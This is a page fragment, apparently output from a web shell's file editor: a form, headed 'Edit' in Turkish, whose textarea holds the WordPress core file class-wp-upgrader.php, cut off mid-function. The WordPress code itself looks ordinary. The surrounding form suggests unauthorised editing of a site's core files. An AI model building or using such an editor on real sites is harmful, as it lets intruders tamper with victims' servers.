?<h3>D¨ızenle: class-wp-upgrader.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
/**
 * Upgrade API: WP_Upgrader class
 *
 * Requires skin classes and WP_Upgrader subclasses for backward compatibility.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */

/** WP_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-wp-upgrader-skin.php&#039;;

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-plugin-upgrader-skin.php&#039;;

/** Theme_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-theme-upgrader-skin.php&#039;;

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-bulk-upgrader-skin.php&#039;;

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-bulk-plugin-upgrader-skin.php&#039;;

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-bulk-theme-upgrader-skin.php&#039;;

/** Plugin_Installer_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-plugin-installer-skin.php&#039;;

/** Theme_Installer_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-theme-installer-skin.php&#039;;

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-language-pack-upgrader-skin.php&#039;;

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-automatic-upgrader-skin.php&#039;;

/** WP_Ajax_Upgrader_Skin class */
require_once ABSPATH . &#039;wp-admin/includes/class-wp-ajax-upgrader-skin.php&#039;;

/**
 * Core class used for upgrading/installing a local set of files via
 * the Filesystem Abstraction classes from a Zip file.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Upgrader {

	/**
	 * The error/notification strings used to update the user on the progress.
	 *
	 * @since 2.8.0
	 * @var array $strings
	 */
	public $strings = array();

	/**
	 * The upgrader skin being used.
	 *
	 * @since 2.8.0
	 * @var Automatic_Upgrader_Skin|WP_Upgrader_Skin $skin
	 */
	public $skin = null;

	/**
	 * The result of the installation.
	 *
	 * This is set by WP_Upgrader::install_package(), only when the package is installed
	 * successfully. It will then be an array, unless a WP_Error is returned by the
	 * {@see &#039;upgrader_post_install&#039;} filter. In that case, the WP_Error will be assigned to
	 * it.
	 *
	 * @since 2.8.0
	 *
	 * @var array|WP_Error $result {
	 *     @type string $source             The full path to the source the files were installed from.
	 *     @type string $source_files       List of all the files in the source directory.
	 *     @type string $destination        The full path to the installation destination folder.
	 *     @type string $destination_name   The name of the destination folder, or empty if `$destination`
	 *                                      and `$local_destination` are the same.
	 *     @type string $local_destination  The full local path to the destination folder. This is usually
	 *                                      the same as `$destination`.
	 *     @type string $remote_destination The full remote path to the destination folder
	 *                                      (i.e., from `$wp_filesystem`).
	 *     @type bool   $clear_destination  Whether the destination folder was cleared.
	 * }
	 */
	public $result = array();

	/**
	 * The total number of updates being performed.
	 *
	 * Set by the bulk update methods.
	 *
	 * @since 3.0.0
	 * @var int $update_count
	 */
	public $update_count = 0;

	/**
	 * The current update if multiple updates are being performed.
	 *
	 * Used by the bulk update methods, and incremented for each update.
	 *
	 * @since 3.0.0
	 * @var int
	 */
	public $update_current = 0;

	/**
	 * Stores the list of plugins or themes added to temporary backup directory.
	 *
	 * Used by the rollback functions.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	private $temp_backups = array();

	/**
	 * Stores the list of plugins or themes to be restored from temporary backup directory.
	 *
	 * Used by the rollback functions.
	 *
	 * @since 6.3.0
	 * @var array
	 */
	private $temp_restores = array();

	/**
	 * Construct the upgrader with a skin.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Upgrader_Skin $skin The upgrader skin to use. Default is a WP_Upgrader_Skin
	 *                               instance.
	 */
	public function __construct( $skin = null ) {
		if ( null === $skin ) {
			$this-&gt;skin = new WP_Upgrader_Skin();
		} else {
			$this-&gt;skin = $skin;
		}
	}

	/**
	 * Initializes the upgrader.
	 *
	 * This will set the relationship between the skin being used and this upgrader,
	 * and also add the generic strings to `WP_Upgrader::$strings`.
	 *
	 * Additionally, it will schedule a weekly task to clean up the temporary backup directory.
	 *
	 * @since 2.8.0
	 * @since 6.3.0 Added the `schedule_temp_backup_cleanup()` task.
	 */
	public function init() {
		$this-&gt;skin-&gt;set_upgrader( $this );
		$this-&gt;generic_strings();

		if ( ! wp_installing() ) {
			$this-&gt;schedule_temp_backup_cleanup();
		}
	}

	/**
	 * Schedules the cleanup of the temporary backup directory.
	 *
	 * @since 6.3.0
	 */
	protected function schedule_temp_backup_cleanup() {
		if ( false === wp_next_scheduled( &#039;wp_delete_temp_updater_backups&#039; ) ) {
			wp_schedule_event( time(), &#039;weekly&#039;, &#039;wp_delete_temp_updater_backups&#039; );
		}
	}

	/**
	 * Adds the generic strings to WP_Upgrader::$strings.
	 *
	 * @since 2.8.0
	 */
	public function generic_strings() {
		$this-&gt;strings[&#039;bad_request&#039;]    = __( &#039;Invalid data provided.&#039; );
		$this-&gt;strings[&#039;fs_unavailable&#039;] = __( &#039;Could not access filesystem.&#039; );
		$this-&gt;strings[&#039;fs_error&#039;]       = __( &#039;Filesystem error.&#039; );
		$this-&gt;strings[&#039;fs_no_root_dir&#039;] = __( &#039;Unable to locate WordPress root directory.&#039; );
		/* translators: %s: Directory name. */
		$this-&gt;strings[&#039;fs_no_content_dir&#039;] = sprintf( __( &#039;Unable to locate WordPress content directory (%s).&#039; ), &#039;wp-content&#039; );
		$this-&gt;strings[&#039;fs_no_plugins_dir&#039;] = __( &#039;Unable to locate WordPress plugin directory.&#039; );
		$this-&gt;strings[&#039;fs_no_themes_dir&#039;]  = __( &#039;Unable to locate WordPress theme directory.&#039; );
		/* translators: %s: Directory name. */
		$this-&gt;strings[&#039;fs_no_folder&#039;] = __( &#039;Unable to locate needed folder (%s).&#039; );

		$this-&gt;strings[&#039;no_package&#039;]           = __( &#039;Package not available.&#039; );
		$this-&gt;strings[&#039;download_failed&#039;]      = __( &#039;Download failed.&#039; );
		$this-&gt;strings[&#039;installing_package&#039;]   = __( &#039;Installing the latest version&amp;#8230;&#039; );
		$this-&gt;strings[&#039;no_files&#039;]             = __( &#039;The package contains no files.&#039; );
		$this-&gt;strings[&#039;folder_exists&#039;]        = __( &#039;Destination folder already exists.&#039; );
		$this-&gt;strings[&#039;mkdir_failed&#039;]         = __( &#039;Could not create directory.&#039; );
		$this-&gt;strings[&#039;incompatible_archive&#039;] = __( &#039;The package could not be installed.&#039; );
		$this-&gt;strings[&#039;files_not_writable&#039;]   = __( &#039;The update cannot be installed because some files could not be copied. This is usually due to inconsistent file permissions.&#039; );
		$this-&gt;strings[&#039;dir_not_readable&#039;]     = __( &#039;A directory could not be read.&#039; );

		$this-&gt;strings[&#039;maintenance_start&#039;] = __( &#039;Enabling Maintenance mode&amp;#8230;&#039; );
		$this-&gt;strings[&#039;maintenance_end&#039;]   = __( &#039;Disabling Maintenance mode&amp;#8230;&#039; );

		/* translators: %s: upgrade-temp-backup */
		$this-&gt;strings[&#039;temp_backup_mkdir_failed&#039;] = sprintf( __( &#039;Could not create the %s directory.&#039; ), &#039;upgrade-temp-backup&#039; );
		/* translators: %s: upgrade-temp-backup */
		$this-&gt;strings[&#039;temp_backup_move_failed&#039;] = sprintf( __( &#039;Could not move the old version to the %s directory.&#039; ), &#039;upgrade-temp-backup&#039; );
		/* translators: %s: The plugin or theme slug. */
		$this-&gt;strings[&#039;temp_backup_restore_failed&#039;] = __( &#039;Could not restore the original version of %s.&#039; );
		/* translators: %s: The plugin or theme slug. */
		$this-&gt;strings[&#039;temp_backup_delete_failed&#039;] = __( &#039;Could not delete the temporary backup directory for %s.&#039; );
	}

	/**
	 * Connects to the filesystem.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string[] $directories                  Optional. Array of directories. If any of these do
	 *                                               not exist, a WP_Error object will be returned.
	 *                                               Default empty array.
	 * @param bool     $allow_relaxed_file_ownership Whether to allow relaxed file ownership.
	 *                                               Default false.
	 * @return bool|WP_Error True if able to connect, false or a WP_Error otherwise.
	 */
	public function fs_connect( $directories = array(), $allow_relaxed_file_ownership = false ) {
		global $wp_filesystem;

		$credentials = $this-&gt;skin-&gt;request_filesystem_credentials( false, $directories[0], $allow_relaxed_file_ownership );
		if ( false === $credentials ) {
			return false;
		}

		if ( ! WP_Filesystem( $credentials, $directories[0], $allow_relaxed_file_ownership ) ) {
			$error = true;
			if ( is_object( $wp_filesystem ) &amp;&amp; $wp_filesystem-&gt;errors-&gt;has_errors() ) {
				$error = $wp_filesystem-&gt;errors;
			}
			// Failed to connect. Error and request again.
			$this-&gt;skin-&gt;request_filesystem_credentials( $error, $directories[0], $allow_relaxed_file_ownership );
			return false;
		}

		if ( ! is_object( $wp_filesystem ) ) {
			return new WP_Error( &#039;fs_unavailable&#039;, $this-&gt;strings[&#039;fs_unavailable&#039;] );
		}

		if ( is_wp_error( $wp_filesystem-&gt;errors ) &amp;&amp; $wp_filesystem-&gt;errors-&gt;has_errors() ) {
			return new WP_Error( &#039;fs_error&#039;, $this-&gt;strings[&#039;fs_error&#039;], $wp_filesystem-&gt;errors );
		}

		foreach ( (array) $directories as $dir ) {
			switch ( $dir ) {
				case ABSPATH:
					if ( ! $wp_filesystem-&gt;abspath() ) {
						return new WP_Error( &#039;fs_no_root_dir&#039;, $this-&gt;strings[&#039;fs_no_root_dir&#039;] );
					}
					break;
				case WP_CONTENT_DIR:
					if ( ! $wp_filesystem-&gt;wp_content_dir() ) {
						return new WP_Error( &#039;fs_no_content_dir&#039;, $this-&gt;strings[&#039;fs_no_content_dir&#039;] );
					}
					break;
				case WP_PLUGIN_DIR:
					if ( ! $wp_filesystem-&gt;wp_plugins_dir() ) {
						return new WP_Error( &#039;fs_no_plugins_dir&#039;, $this-&gt;strings[&#039;fs_no_plugins_dir&#039;] );
					}
					break;
				case get_theme_root():
					if ( ! $wp_filesystem-&gt;wp_themes_dir() ) {
						return new WP_Error( &#039;fs_no_themes_dir&#039;, $this-&gt;strings[&#039;fs_no_themes_dir&#039;] );
					}
					break;
				default:
					if ( ! $wp_filesystem-&gt;find_folder( $dir ) ) {
						return new WP_Error( &#039;fs_no_folder&#039;, sprintf( $this-&gt;strings[&#039;fs_no_folder&#039;], esc_html( basename( $dir ) ) ) );
					}
					break;
			}
		}
		return true;
	}

	/**
	 * Downloads a package.
	 *
	 * @since 2.8.0
	 * @since 5.2.0 Added the `$check_signatures` parameter.
	 * @since 5.5.0 Added the `$hook_extra` parameter.
	 *
	 * @param string $package          The URI of the package. If this is the full path to an
	 *                                 existing local file, it will be returned untouched.
	 * @param bool   $check_signatures Whether to validate file signatures. Default false.
	 * @param array  $hook_extra       Extra arguments to pass to the filter hooks. Default empty array.
	 * @return string|WP_Error The full path to the downloaded package file, or a WP_Error object.
	 */
	public function download_package( $package, $check_signatures = false, $hook_extra = array() ) {
		/**
		 * Filters whether to return the package.
		 *
		 * @since 3.7.0
		 * @since 5.5.0 Added the `$hook_extra` parameter.
		 *
		 * @param bool        $reply      Whether to bail without returning the package.
		 *                                Default false.
		 * @param string      $package    The package file name.
		 * @param WP_Upgrader $upgrader   The WP_Upgrader instance.
		 * @param array       $hook_extra Extra arguments passed to hooked filters.
		 */
		$reply = apply_filters( &#039;upgrader_pre_download&#039;, false, $package, $this, $hook_extra );
		if ( false !== $reply ) {
			return $reply;
		}

		if ( ! preg_match( &#039;!^(http|https|ftp)://!i&#039;, $package ) &amp;&amp; file_exists( $package ) ) { // Local file or remote?
			return $package; // Must be a local file.
		}

		if ( empty( $package ) ) {
			return new WP_Error( &#039;no_package&#039;, $this-&gt;strings[&#039;no_package&#039;] );
		}

		$this-&gt;skin-&gt;feedback( &#039;downloading_package&#039;, $package );

		$download_file = download_url( $package, 300, $check_signatures );

		if ( is_wp_error( $download_file ) &amp;&amp; ! $download_file-&gt;get_error_data( &#039;softfail-filename&#039; ) ) {
			return new WP_Error( &#039;download_failed&#039;, $this-&gt;strings[&#039;download_failed&#039;], $download_file-&gt;get_error_message() );
		}

		return $download_file;
	}

	/**
	 * Unpacks a compressed package file.
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $package        Full path to the package file.
	 * @param bool   $delete_package Optional. Whether to delete the package file after attempting
	 *                               to unpack it. Default true.
	 * @return string|WP_Error The path to the unpacked contents, or a WP_Error on failure.
	 */
	public function unpack_package( $package, $delete_package = true ) {
		global $wp_filesystem;

		$this-&gt;skin-&gt;feedback( &#039;unpack_package&#039; );

		if ( ! $wp_filesystem-&gt;wp_content_dir() ) {
			return new WP_Error( &#039;fs_no_content_dir&#039;, $this-&gt;strings[&#039;fs_no_content_dir&#039;] );
		}

		$upgrade_folder = $wp_filesystem-&gt;wp_content_dir() . &#039;upgrade/&#039;;

		// Clean up contents of upgrade directory beforehand.
		$upgrade_files = $wp_filesystem-&gt;dirlist( $upgrade_folder );
		if ( ! empty( $upgrade_files ) ) {
			foreach ( $upgrade_files as $file ) {
				$wp_filesystem-&gt;delete( $upgrade_folder . $file[&#039;name&#039;], true );
			}
		}

		// We need a working directory - strip off any .tmp or .zip suffixes.
		$working_dir = $upgrade_folder . basename( basename( $package, &#039;.tmp&#039; ), &#039;.zip&#039; );

		// Clean up working directory.
		if ( $wp_filesystem-&gt;is_dir( $working_dir ) ) {
			$wp_filesystem-&gt;delete( $working_dir, true );
		}

		// Unzip package to working directory.
		$result = unzip_file( $package, $working_dir );

		// Once extracted, delete the package if required.
		if ( $delete_package ) {
			unlink( $package );
		}

		if ( is_wp_error( $result ) ) {
			$wp_filesystem-&gt;delete( $working_dir, true );
			if ( &#039;incompatible_archive&#039; === $result-&gt;get_error_code() ) {
				return new WP_Error( &#039;incompatible_archive&#039;, $this-&gt;strings[&#039;incompatible_archive&#039;], $result-&gt;get_error_data() );
			}
			return $result;
		}

		return $working_dir;
	}

	/**
	 * Flattens the results of WP_Filesystem_Base::dirlist() for iterating over.
	 *
	 * @since 4.9.0
	 * @access protected
	 *
	 * @param array  $nested_files Array of files as returned by WP_Filesystem_Base::dirlist().
	 * @param string $path         Relative path to prepend to child nodes. Optional.
	 * @return array A flattened array of the $nested_files specified.
	 */
	protected function flatten_dirlist( $nested_files, $path = &#039;&#039; ) {
		$files = array();

		foreach ( $nested_files as $name =&gt; $details ) {
			$files[ $path . $name ] = $details;

			// Append children recursively.
			if ( ! empty( $details[&#039;files&#039;] ) ) {
				$children = $this-&gt;flatten_dirlist( $details[&#039;files&#039;], $path . $name . &#039;/&#039; );

				// Merge keeping possible numeric keys, which array_merge() will reindex from 0..n.
				$files = $files + $children;
			}
		}

		return $files;
	}

	/**
	 * Clears the directory where this item is going to be installed into.
	 *
	 * @since 4.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $remote_destination The location on the remote filesystem to be cleared.
	 * @return true|WP_Error True upon success, WP_Error on failure.
	 */
	public function clear_destination( $remote_destination ) {
		global $wp_filesystem;

		$files = $wp_filesystem-&gt;dirlist( $remote_destination, true, true );

		// False indicates that the $remote_destination doesn&#039;t exist.
		if ( false === $files ) {
			return true;
		}

		// Flatten the file list to iterate over.
		$files = $this-&gt;flatten_dirlist( $files );

		// Check all files are writable before attempting to clear the destination.
		$unwritable_files = array();

		// Check writability.
		foreach ( $files as $filename =&gt; $file_details ) {
			if ( ! $wp_filesystem-&gt;is_writable( $remote_destination . $filename ) ) {
				// Attempt to alter permissions to allow writes and try again.
				$wp_filesystem-&gt;chmod( $remote_destination . $filename, ( &#039;d&#039; === $file_details[&#039;type&#039;] ? FS_CHMOD_DIR : FS_CHMOD_FILE ) );
				if ( ! $wp_filesystem-&gt;is_writable( $remote_destination . $filename ) ) {
					$unwritable_files[] = $filename;
				}
			}
		}

		if ( ! empty( $unwritable_files ) ) {
			return new WP_Error( &#039;files_not_writable&#039;, $this-&gt;strings[&#039;files_not_writable&#039;], implode( &#039;, &#039;, $unwritable_files ) );
		}

		if ( ! $wp_filesystem-&gt;delete( $remote_destination, true ) ) {
			return new WP_Error( &#039;remove_old_failed&#039;, $this-&gt;strings[&#039;remove_old_failed&#039;] );
		}

		return true;
	}

	/**
	 * Install a package.
	 *
	 * Copies the contents of a package from a source directory, and installs them in
	 * a destination directory. Optionally removes the source. It can also optionally
	 * clear out the destination folder if it already exists.
	 *
	 * @since 2.8.0
	 * @since 6.2.0 Use move_dir() instead of copy_dir() when possible.
	 *
	 * @global WP_Filesystem_Base $wp_filesystem        WordPress filesystem subclass.
	 * @global string[]           $wp_theme_directories
	 *
	 * @param array|string $args {
	 *     Optional. Array or string of arguments for installing a package. Default empty array.
	 *
	 *     @type string $source                      Required path to the package source. Default empty.
	 *     @type string $destination                 Required path to a folder to install the package in.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the destination
	 *                                               folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files from the working directory
	 *                                               after copying them to the destination. Default false.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if
	 *                                               the destination folder already exists. Default true.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::install_package(). Default empty array.
	 * }
	 *
	 * @return array|WP_Error The result (also stored in `WP_Upgrader::$result`), or a WP_Error on failure.
	 */
	public function install_package( $args = array() ) {
		global $wp_filesystem, $wp_theme_directories;

		$defaults = array(
			&#039;source&#039;                      =&gt; &#039;&#039;, // Please always pass this.
			&#039;destination&#039;                 =&gt; &#039;&#039;, // ...and this.
			&#039;clear_destination&#039;           =&gt; false,
			&#039;clear_working&#039;               =&gt; false,
			&#039;abort_if_destination_exists&#039; =&gt; true,
			&#039;hook_extra&#039;                  =&gt; array(),
		);

		$args = wp_parse_args( $args, $defaults );

		// These were previously extract()&#039;d.
		$source            = $args[&#039;source&#039;];
		$destination       = $args[&#039;destination&#039;];
		$clear_destination = $args[&#039;clear_destination&#039;];

		/*
		 * Give the upgrade an additional 300 seconds (5 minutes) to ensure the install
		 * doesn&#039;t prematurely timeout having used up the maximum script execution time
		 * upacking and downloading in WP_Upgrader-&gt;run().
		 */
		if ( function_exists( &#039;set_time_limit&#039; ) ) {
			set_time_limit( 300 );
		}

		if (
			( ! is_string( $source ) || &#039;&#039; === $source || trim( $source ) !== $source ) ||
			( ! is_string( $destination ) || &#039;&#039; === $destination || trim( $destination ) !== $destination )
		) {
			return new WP_Error( &#039;bad_request&#039;, $this-&gt;strings[&#039;bad_request&#039;] );
		}
		$this-&gt;skin-&gt;feedback( &#039;installing_package&#039; );

		/**
		 * Filters the installation response before the installation has started.
		 *
		 * Returning a value that could be evaluated as a `WP_Error` will effectively
		 * short-circuit the installation, returning that value instead.
		 *
		 * @since 2.8.0
		 *
		 * @param bool|WP_Error $response   Installation response.
		 * @param array         $hook_extra Extra arguments passed to hooked filters.
		 */
		$res = apply_filters( &#039;upgrader_pre_install&#039;, true, $args[&#039;hook_extra&#039;] );

		if ( is_wp_error( $res ) ) {
			return $res;
		}

		// Retain the original source and destinations.
		$remote_source     = $args[&#039;source&#039;];
		$local_destination = $destination;

		$dirlist = $wp_filesystem-&gt;dirlist( $remote_source );

		if ( false === $dirlist ) {
			return new WP_Error( &#039;source_read_failed&#039;, $this-&gt;strings[&#039;fs_error&#039;], $this-&gt;strings[&#039;dir_not_readable&#039;] );
		}

		$source_files       = array_keys( $dirlist );
		$remote_destination = $wp_filesystem-&gt;find_folder( $local_destination );

		// Locate which directory to copy to the new folder. This is based on the actual folder holding the files.
		if ( 1 === count( $source_files ) &amp;&amp; $wp_filesystem-&gt;is_dir( trailingslashit( $args[&#039;source&#039;] ) . $source_files[0] . &#039;/&#039; ) ) {
			// Only one folder? Then we want its contents.
			$source = trailingslashit( $args[&#039;source&#039;] ) . trailingslashit( $source_files[0] );
		} elseif ( 0 === count( $source_files ) ) {
			// There are no files?
			return new WP_Error( &#039;incompatible_archive_empty&#039;, $this-&gt;strings[&#039;incompatible_archive&#039;], $this-&gt;strings[&#039;no_files&#039;] );
		} else {
			/*
			 * It&#039;s only a single file, the upgrader will use the folder name of this file as the destination folder.
			 * Folder name is based on zip filename.
			 */
			$source = trailingslashit( $args[&#039;source&#039;] );
		}

		/**
		 * Filters the source file location for the upgrade package.
		 *
		 * @since 2.8.0
		 * @since 4.4.0 The $hook_extra parameter became available.
		 *
		 * @param string      $source        File source location.
		 * @param string      $remote_source Remote file source location.
		 * @param WP_Upgrader $upgrader      WP_Upgrader instance.
		 * @param array       $hook_extra    Extra arguments passed to hooked filters.
		 */
		$source = apply_filters( &#039;upgrader_source_selection&#039;, $source, $remote_source, $this, $args[&#039;hook_extra&#039;] );

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		if ( ! empty( $args[&#039;hook_extra&#039;][&#039;temp_backup&#039;] ) ) {
			$temp_backup = $this-&gt;move_to_temp_backup_dir( $args[&#039;hook_extra&#039;][&#039;temp_backup&#039;] );

			if ( is_wp_error( $temp_backup ) ) {
				return $temp_backup;
			}

			$this-&gt;temp_backups[] = $args[&#039;hook_extra&#039;][&#039;temp_backup&#039;];
		}

		// Has the source location changed? If so, we need a new source_files list.
		if ( $source !== $remote_source ) {
			$dirlist = $wp_filesystem-&gt;dirlist( $source );

			if ( false === $dirlist ) {
				return new WP_Error( &#039;new_source_read_failed&#039;, $this-&gt;strings[&#039;fs_error&#039;], $this-&gt;strings[&#039;dir_not_readable&#039;] );
			}

			$source_files = array_keys( $dirlist );
		}

		/*
		 * Protection against deleting files in any important base directories.
		 * Theme_Upgrader &amp; Plugin_Upgrader also trigger this, as they pass the
		 * destination directory (WP_PLUGIN_DIR / wp-content/themes) intending
		 * to copy the directory into the directory, whilst they pass the source
		 * as the actual files to copy.
		 */
		$protected_directories = array( ABSPATH, WP_CONTENT_DIR, WP_PLUGIN_DIR, WP_CONTENT_DIR . &#039;/themes&#039; );

		if ( is_array( $wp_theme_directories ) ) {
			$protected_directories = array_merge( $protected_directories, $wp_theme_directories );
		}

		if ( in_array( $destination, $protected_directories, true ) ) {
			$remote_destination = trailingslashit( $remote_destination ) . trailingslashit( basename( $source ) );
			$destination        = trailingslashit( $destination ) . trailingslashit( basename( $source ) );
		}

		if ( $clear_destination ) {
			// We&#039;re going to clear the destination if there&#039;s something there.
			$this-&gt;skin-&gt;feedback( &#039;remove_old&#039; );

			$removed = $this-&gt;clear_destination( $remote_destination );

			/**
			 * Filters whether the upgrader cleared the destination.
			 *
			 * @since 2.8.0
			 *
			 * @param true|WP_Error $removed            Whether the destination was cleared.
			 *                                          True upon success, WP_Error on failure.
			 * @param string        $local_destination  The local package destination.
			 * @param string        $remote_destination The remote package destination.
			 * @param array         $hook_extra         Extra arguments passed to hooked filters.
			 */
			$removed = apply_filters( &#039;upgrader_clear_destination&#039;, $removed, $local_destination, $remote_destination, $args[&#039;hook_extra&#039;] );

			if ( is_wp_error( $removed ) ) {
				return $removed;
			}
		} elseif ( $args[&#039;abort_if_destination_exists&#039;] &amp;&amp; $wp_filesystem-&gt;exists( $remote_destination ) ) {
			/*
			 * If we&#039;re not clearing the destination folder and something exists there already, bail.
			 * But first check to see if there are actually any files in the folder.
			 */
			$_files = $wp_filesystem-&gt;dirlist( $remote_destination );
			if ( ! empty( $_files ) ) {
				$wp_filesystem-&gt;delete( $remote_source, true ); // Clear out the source files.
				return new WP_Error( &#039;folder_exists&#039;, $this-&gt;strings[&#039;folder_exists&#039;], $remote_destination );
			}
		}

		/*
		 * If &#039;clear_working&#039; is false, the source should not be removed, so use copy_dir() instead.
		 *
		 * Partial updates, like language packs, may want to retain the destination.
		 * If the destination exists or has contents, this may be a partial update,
		 * and the destination should not be removed, so use copy_dir() instead.
		 */
		if ( $args[&#039;clear_working&#039;]
			&amp;&amp; (
				// Destination does not exist or has no contents.
				! $wp_filesystem-&gt;exists( $remote_destination )
				|| empty( $wp_filesystem-&gt;dirlist( $remote_destination ) )
			)
		) {
			$result = move_dir( $source, $remote_destination, true );
		} else {
			// Create destination if needed.
			if ( ! $wp_filesystem-&gt;exists( $remote_destination ) ) {
				if ( ! $wp_filesystem-&gt;mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
					return new WP_Error( &#039;mkdir_failed_destination&#039;, $this-&gt;strings[&#039;mkdir_failed&#039;], $remote_destination );
				}
			}
			$result = copy_dir( $source, $remote_destination );
		}

		// Clear the working directory?
		if ( $args[&#039;clear_working&#039;] ) {
			$wp_filesystem-&gt;delete( $remote_source, true );
		}

		if ( is_wp_error( $result ) ) {
			return $result;
		}

		$destination_name = basename( str_replace( $local_destination, &#039;&#039;, $destination ) );
		if ( &#039;.&#039; === $destination_name ) {
			$destination_name = &#039;&#039;;
		}

		$this-&gt;result = compact( &#039;source&#039;, &#039;source_files&#039;, &#039;destination&#039;, &#039;destination_name&#039;, &#039;local_destination&#039;, &#039;remote_destination&#039;, &#039;clear_destination&#039; );

		/**
		 * Filters the installation response after the installation has finished.
		 *
		 * @since 2.8.0
		 *
		 * @param bool  $response   Installation response.
		 * @param array $hook_extra Extra arguments passed to hooked filters.
		 * @param array $result     Installation result data.
		 */
		$res = apply_filters( &#039;upgrader_post_install&#039;, true, $args[&#039;hook_extra&#039;], $this-&gt;result );

		if ( is_wp_error( $res ) ) {
			$this-&gt;result = $res;
			return $res;
		}

		// Bombard the calling function will all the info which we&#039;ve just used.
		return $this-&gt;result;
	}

	/**
	 * Runs an upgrade/installation.
	 *
	 * Attempts to download the package (if it is not a local file), unpack it, and
	 * install it in the destination folder.
	 *
	 * @since 2.8.0
	 *
	 * @param array $options {
	 *     Array or string of arguments for upgrading/installing a package.
	 *
	 *     @type string $package                     The full path or URI of the package to install.
	 *                                               Default empty.
	 *     @type string $destination                 The full path to the destination folder.
	 *                                               Default empty.
	 *     @type bool   $clear_destination           Whether to delete any files already in the
	 *                                               destination folder. Default false.
	 *     @type bool   $clear_working               Whether to delete the files from the working
	 *                                               directory after copying them to the destination.
	 *                                               Default true.
	 *     @type bool   $abort_if_destination_exists Whether to abort the installation if the destination
	 *                                               folder already exists. When true, `$clear_destination`
	 *                                               should be false. Default true.
	 *     @type bool   $is_multi                    Whether this run is one of multiple upgrade/installation
	 *                                               actions being performed in bulk. When true, the skin
	 *                                               WP_Upgrader::header() and WP_Upgrader::footer()
	 *                                               aren&#039;t called. Default false.
	 *     @type array  $hook_extra                  Extra arguments to pass to the filter hooks called by
	 *                                               WP_Upgrader::run().
	 * }
	 * @return array|false|WP_Error The result from self::install_package() on success, otherwise a WP_Error,
	 *                              or false if unable to connect to the filesystem.
	 */
	public function run( $options ) {

		$defaults = array(
			&#039;package&#039;                     =&gt; &#039;&#039;, // Please always pass this.
			&#039;destination&#039;                 =&gt; &#039;&#039;, // ...and this.
			&#039;clear_destination&#039;           =&gt; false,
			&#039;clear_working&#039;               =&gt; true,
			&#039;abort_if_destination_exists&#039; =&gt; true, // Abort if the destination directory exists. Pass clear_destination as false please.
			&#039;is_multi&#039;                    =&gt; false,
			&#039;hook_extra&#039;                  =&gt; array(), // Pass any extra $hook_extra args here, this will be passed to any hooked filters.
		);

		$options = wp_parse_args( $options, $defaults );

		/**
		 * Filters the package options before running an update.
		 *
		 * See also {@see &#039;upgrader_process_complete&#039;}.
		 *
		 * @since 4.3.0
		 *
		 * @param array $options {
		 *     Options used by the upgrader.
		 *
		 *     @type string $package                     Package for update.
		 *     @type string $destination                 Update location.
		 *     @type bool   $clear_destination           Clear the destination resource.
		 *     @type bool   $clear_working               Clear the working resource.
		 *     @type bool   $abort_if_destination_exists Abort if the Destination directory exists.
		 *     @type bool   $is_multi                    Whether the upgrader is running multiple times.
		 *     @type array  $hook_extra {
		 *         Extra hook arguments.
		 *
		 *         @type string $action               Type of action. Default &#039;update&#039;.
		 *         @type string $type                 Type of update process. Accepts &#039;plugin&#039;, &#039;theme&#039;, or &#039;core&#039;.
		 *         @type bool   $bulk                 Whether the update process is a bulk update. Default true.
		 *         @type string $plugin               Path to the plugin file relative to the plugins directory.
		 *         @type string $theme                The stylesheet or template name of the theme.
		 *         @type string $language_update_type The language pack update type. Accepts &#039;plugin&#039;, &#039;theme&#039;,
		 *                                            or &#039;core&#039;.
		 *         @type object $language_update      The language pack update offer.
		 *     }
		 * }
		 */
		$options = apply_filters( &#039;upgrader_package_options&#039;, $options );

		if ( ! $options[&#039;is_multi&#039;] ) { // Call $this-&gt;header separately if running multiple times.
			$this-&gt;skin-&gt;header();
		}

		// Connect to the filesystem first.
		$res = $this-&gt;fs_connect( array( WP_CONTENT_DIR, $options[&#039;destination&#039;] ) );
		// Mainly for non-connected filesystem.
		if ( ! $res ) {
			if ( ! $options[&#039;is_multi&#039;] ) {
				$this-&gt;skin-&gt;footer();
			}
			return false;
		}

		$this-&gt;skin-&gt;before();

		if ( is_wp_error( $res ) ) {
			$this-&gt;skin-&gt;error( $res );
			$this-&gt;skin-&gt;after();
			if ( ! $options[&#039;is_multi&#039;] ) {
				$this-&gt;skin-&gt;footer();
			}
			return $res;
		}

		/*
		 * Download the package. Note: If the package is the full path
		 * to an existing local file, it will be returned untouched.
		 */
		$download = $this-&gt;download_package( $options[&#039;package&#039;], false, $options[&#039;hook_extra&#039;] );

		/*
		 * Allow for signature soft-fail.
		 * WARNING: This may be removed in the future.
		 */
		if ( is_wp_error( $download ) &amp;&amp; $download-&gt;get_error_data( &#039;softfail-filename&#039; ) ) {

